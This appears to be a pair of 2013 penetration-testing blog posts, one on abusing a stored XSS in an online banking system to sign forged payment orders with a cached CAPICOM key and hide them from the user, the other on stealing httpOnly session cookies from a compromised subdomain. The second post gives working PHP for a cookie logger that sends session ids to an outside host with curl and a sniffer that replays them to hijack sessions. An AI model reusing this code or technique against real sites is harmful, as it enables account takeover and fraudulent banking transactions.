среда, 24 апреля 2013 г.

How XSS can defeat your digital signatures

Recently we exploited nice XSS vector in one of RBS (Remote Banking Service) system. This example shows very well how dangerous can be client-attack.

Client after the authorization could sign electronic documents.
For signature from browser developers used CAPICOM technology.

If you are already understood us, you can not finish this note ;)

Signature from JavaScript - this is easy and usefull from client-side attacks.
JS code for sign document looks like:



function SignCreate(certSubjectName, dataToSign) {
    var oStore = CreateObject("CAPICOM.Store");
    oStore.Open(CAPICOM_CURRENT_USER_STORE, CAPICOM_MY_STORE,
    CAPICOM_STORE_OPEN_MAXIMUM_ALLOWED);

    var oCertificates = oStore.Certificates.Find(
    CAPICOM_CERTIFICATE_FIND_SUBJECT_NAME, certSubjectName);
    if (oCertificates.Count == 0) {
        alert("Certificate not found: " + certSubjectName);
        return;
    }
    ...


You can easily call this function from stored/reflected XSS to sign arbitrary data.
To solve the PIN entry problem, we have used the caching mechanism for the key. Most often, after entering the PIN code of the key, PIN is remembered for a while.

So we were able to sign arbitrary (injected) document immediately after the user signs his own document (and entered PIN of course).

Then, using the Javascript we were able to hide the injected signed document from users's orders table (document was order request) for current user.

So only a single stored XSS vulnerability defeated all security measures of the RBS system. Note, that typically protections such as httpOnly cookies and SSL have been included, but it does not help.

понедельник, 8 апреля 2013 г.

Exploiting server-side vulns as client-side?!!

Sounds terrible, does not it? This post is obviously of course ;)

But sometimes this is effective attack vector, for example, whenever you can exploit any subdomain (news.your-target.com) but can not exploit main domain (your-target.com).

You can track cookies at any subdomain even if they were protected by httpOnly/Security.
Look to RFC6265 http://tools.ietf.org/html/rfc6265:

4.1.2.3. The Domain Attribute
The Domain attribute specifies those hosts to which the cookie will be sent. For example, if the value of the Domain attribute is "example.com", the user agent will include the cookie in the Cookie header when making HTTP requests to example.com, www.example.com, and www.corp.example.com. (Note that a leading %x2E ("."), if present, is ignored even though that character is not permitted, but a trailing %x2E ("."), if present, will cause the user agent to ignore the attribute.) If the server omits the Domain attribute, the user agent will return the cookie only to the origin server.

Tracking cookies are possible when main server sending Set-cookie header with "domain" attribute.
Logger to inject into subdomain may looks like:
<?php
if(!isset($_COOKIE['session_id']) || !preg_match('/$ASYOUWANT^/s',$_COOKIE['session_id']) || isset($_SESSION['already_logged'])){
   //do nothing
}else{
   //exec called for asynchronous request
   exec("curl http://security-auditor.com/sniffer.php?session_id=".$_COOKIE['session_id'])." &";//httpOnly cookie of course
   $_SESSION['already_logged']=true;
}
?>
Simple code of described sniffer listed below:
<?php
$ssid = @$_GET['session_id'];
if($ssid!=""){
 // download page as a client
 $opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: session_id=$ssid;\r\n"
  )
 );
 $context = stream_context_create($opts);
 $file = file_get_contents('https://target.com/settings', false, $context);
 if(!file_exists("/tmp/sess-$ssid")){
        file_put_contents("/tmp/sess-$ssid","Cookie: session_id=$ssid; \n".$file ); } }
?>